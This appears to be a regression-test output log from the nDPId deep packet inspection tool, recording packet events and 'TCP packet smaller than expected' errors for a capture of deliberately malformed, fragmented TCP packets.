-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955539} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955546} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955554} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955562} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955574} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955581} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955588} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955595} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955619} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955630} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955637} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955644} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955652} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955662} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955670} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955677} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955685} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":4607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955698} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955714} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955721} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955729} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955737} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955744} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955752} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955759} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":4615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955770} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955777} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955785} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955796} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955806} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955813} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955821} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955828} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955836} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955844} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955854} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955861} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":4627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955869} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955876} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955884} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955891} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955899} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955909} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028955917} 